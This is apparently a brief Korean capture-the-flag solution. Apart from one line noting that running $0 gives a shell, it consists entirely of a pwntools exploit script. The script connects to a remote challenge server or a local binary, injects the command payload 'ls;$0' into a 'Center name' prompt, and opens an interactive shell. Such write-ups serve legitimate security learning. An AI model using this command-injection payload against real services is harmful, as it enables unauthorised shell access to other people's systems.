$0으로 쉘 실행하면 된다.

from pwn import * 
import sys

context.log_level = 'debug'

if sys.argv[1] == 'r':
    r = remote("44.210.9.208",10015)
elif sys.argv[1] == 'l':
    r = process('./challenge')

payload = "ls;$0"
r.sendafter(b'Center name:', payload)

data = r.recv(1000)
print(data)

r.interactive()

image.png